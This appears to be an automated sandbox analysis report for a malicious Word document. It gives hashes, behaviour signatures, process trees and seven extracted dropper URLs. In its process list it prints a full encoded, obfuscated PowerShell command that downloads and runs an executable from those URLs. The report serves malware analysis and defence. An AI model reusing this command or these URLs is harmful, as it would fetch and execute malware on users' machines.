Analysis

  • max time kernel
    135s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 02:06

General

  • Target

    85b08b40853a44b110f3e6ce44aebf9e_JaffaCakes118.doc

  • Size

    242KB

  • MD5

    85b08b40853a44b110f3e6ce44aebf9e

  • SHA1

    5bff2784931fd71ef4562388bb98703390d46614

  • SHA256

    7e25629883326f475a7499227a6e0be48035bc8930f738aab7b0bd984df0a72e

  • SHA512

    299dfdbd39a2af86f063bd82a69862fc4385ce02a5c26e7a82f9ddeb0e277b4d0eb423c657d465b4dbd45373c5e4018c4909a4b8c3c488112c7229874b68b5e0

  • SSDEEP

    3072:wYy0u8YGgjv+ZvchmkHcI/o1/Vb6///////////////////////////////////i:40uXnWFchmmcI/o1/COfLh

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.ksgresearch.org/LLC/z9B/

exe.dropper

http://www.mitrausahacontrucion.com/multifunctional-section/X2v4XN/

exe.dropper

http://daprofesional.com/data4/rsdbA1h/

exe.dropper

http://degisimkalip.com.tr/wp-admin/ZML/

exe.dropper

http://da-industrial.com/js/6GGA48AK/

exe.dropper

http://cse-engineer.com/cgi-bin/BOiL/

exe.dropper

http://casabeethovenlb.com/classes/7SUlG/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\85b08b40853a44b110f3e6ce44aebf9e_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4804
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABDADYAZABfADIAcwA4AD0AKAAoACcATQB3ACcAKwAnAHcAJwApACsAJwBrADEAJwArACcAbgBtACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAGUAcgBQAFIATwBGAGkAbABlAFwARwAxADAAcABnAGkAOABcAFoAVABUAHgAQgA0AE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAGAASQBUAHkAcAByAG8AVABPAGMAYABPAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxACcAKQArACcAMgAnACsAKAAnACwAJwArACcAIAB0AGwAJwApACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAVwAwAGwAagBpADkAZQAgAD0AIAAoACcARgAnACsAJwB1AHgAJwArACgAJwA4ACcAKwAnADYAdgAnACkAKQA7ACQASwBzAGwAZgA2AHUAZgA9ACgAKAAnAEIAdgBpACcAKwAnAGcAbgAnACkAKwAnADYAZQAnACkAOwAkAFEAbwA0AGYAbgBjADMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwACcAKwAnAH0AJwArACcARwAxADAAcABnAGkAOAB7ADAAJwArACcAfQBaAHQAdAB4AGIANABvAHsAMAB9ACcAKQAgAC0ARgAgAFsAYwBoAEEAUgBdADkAMgApACsAJABXADAAbABqAGkAOQBlACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAVAA1ADcAOQB2AHcAdwA9ACgAJwBRACcAKwAoACcAaABvAHAAJwArACcAcwAnACkAKwAnAGYAcgAnACkAOwAkAFcAYwB1ADEAbwB0AHgAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAGIAYwBMAEkAZQBOAHQAOwAkAEQAagA0AHEAagBhAHgAPQAoACgAJwBoAHQAdABwACcAKwAnADoALwAvAHcAdwAnACsAJwB3ACcAKwAnAC4AawBzAGcAJwApACsAKAAnAHIAZQBzACcAKwAnAGUAYQByACcAKwAnAGMAaAAnACsAJwAuAG8AcgBnAC8ATABMAEMAJwArACcALwAnACsAJwB6ADkAQgAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcALwAvAHcAdwAnACkAKwAoACcAdwAuAG0AaQB0AHIAJwArACcAYQB1ACcAKwAnAHMAYQBoACcAKQArACcAYQAnACsAKAAnAGMAbwAnACsAJwBuAHQAcgAnACkAKwAnAHUAYwAnACsAJwBpAG8AJwArACcAbgAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0AJwArACcALwBtACcAKQArACgAJwB1AGwAdAAnACsAJwBpACcAKwAnAGYAdQAnACsAJwBuAGMAdABpAG8AbgAnACsAJwBhAGwALQBzAGUAJwApACsAKAAnAGMAdAAnACsAJwBpACcAKQArACcAbwBuACcAKwAnAC8AJwArACcAWAAyACcAKwAoACcAdgA0AFgAJwArACcATgAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAvAGQAYQAnACsAJwBwAHIAJwArACcAbwBmAGUAcwAnACsAJwBpAG8AbgBhACcAKwAnAGwALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwBkAGEAdAAnACsAJwBhADQALwByAHMAJwArACcAZABiAEEAJwApACsAJwAxAGgAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAOgAvAC8AZABlACcAKwAnAGcAJwArACcAaQBzACcAKQArACcAaQAnACsAKAAnAG0AawBhAGwAaQBwACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC4AdAByAC8AJwApACsAKAAnAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAFoATQBMAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8ALwBkAGEAJwApACsAKAAnAC0AaQBuACcAKwAnAGQAdQAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAaQAnACkAKwAnAGEAJwArACcAbAAnACsAKAAnAC4AJwArACcAYwBvAG0ALwBqAHMALwAnACsAJwA2ACcAKQArACgAJwBHAEcAQQA0ADgAJwArACcAQQBLAC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYwBzAGUALQBlACcAKQArACgAJwBuAGcAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBlAGUAcgAnACsAJwAuAGMAbwBtACcAKwAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAvAEIATwAnACsAJwBpAEwALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwBjAGEAcwBhACcAKQArACgAJwBiAGUAJwArACcAZQB0AGgAbwAnACkAKwAoACcAdgBlAG4AbABiACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AYwAnACsAJwBsAGEAcwAnACkAKwAoACcAcwBlAHMALwA3AFMAJwArACcAVQAnACkAKwAoACcAbAAnACsAJwBHAC8AJwApACkALgAiAHMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATgBtAHkAcwBwAG0AYwA9ACgAKAAnAEoAcQB1ACcAKwAnADEAJwApACsAKAAnAHIAZwAnACsAJwBfACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBsAHUANwB4ADQAXwAgAGkAbgAgACQARABqADQAcQBqAGEAeAApAHsAdAByAHkAewAkAFcAYwB1ADEAbwB0AHgALgAiAEQAbwBgAFcAbgBMAE8AQQBgAGQARgBgAGkATABlACIAKAAkAEIAbAB1ADcAeAA0AF8ALAAgACQAUQBvADQAZgBuAGMAMwApADsAJABDAGoANwBjADAAeQA5AD0AKAAnAFcAJwArACgAJwB1AHQAJwArACcAeAAnACkAKwAoACcAZwAxACcAKwAnAHkAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAUQBvADQAZgBuAGMAMwApAC4AIgBMAEUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAOAAxADUAMgApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABRAG8ANABmAG4AYwAzACkAOwAkAEEAeQBhAGcAdwA3AHAAPQAoACcASgAnACsAKAAnAHYAZQBjADgAJwArACcAawAnACkAKwAnAHEAJwApADsAYgByAGUAYQBrADsAJABDAG0AagBrAHAAagA2AD0AKAAoACcAVwB4ADYANABwACcAKwAnAG4AJwApACsAJwB4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQB3AHEAcwAwAGUAcgA9ACgAKAAnAEwAbAAnACsAJwB2AGQAJwApACsAKAAnADQAMQAnACsAJwBfACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1040

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD886B.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0dbkn0gw.2vi.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1040-71-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-89-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-72-0x0000019C1FB50000-0x0000019C1FB72000-memory.dmp

    Filesize

    136KB

  • memory/4804-7-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-0-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-2-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-10-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-9-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-6-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-13-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-12-0x00007FFE37C40000-0x00007FFE37C50000-memory.dmp

    Filesize

    64KB

  • memory/4804-11-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-14-0x00007FFE37C40000-0x00007FFE37C50000-memory.dmp

    Filesize

    64KB

  • memory/4804-26-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-27-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-5-0x00007FFE79D8D000-0x00007FFE79D8E000-memory.dmp

    Filesize

    4KB

  • memory/4804-8-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-4-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-1-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-3-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-567-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-568-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-569-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4804-591-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-593-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-592-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-590-0x00007FFE39D70000-0x00007FFE39D80000-memory.dmp

    Filesize

    64KB

  • memory/4804-594-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

    Filesize

    2.0MB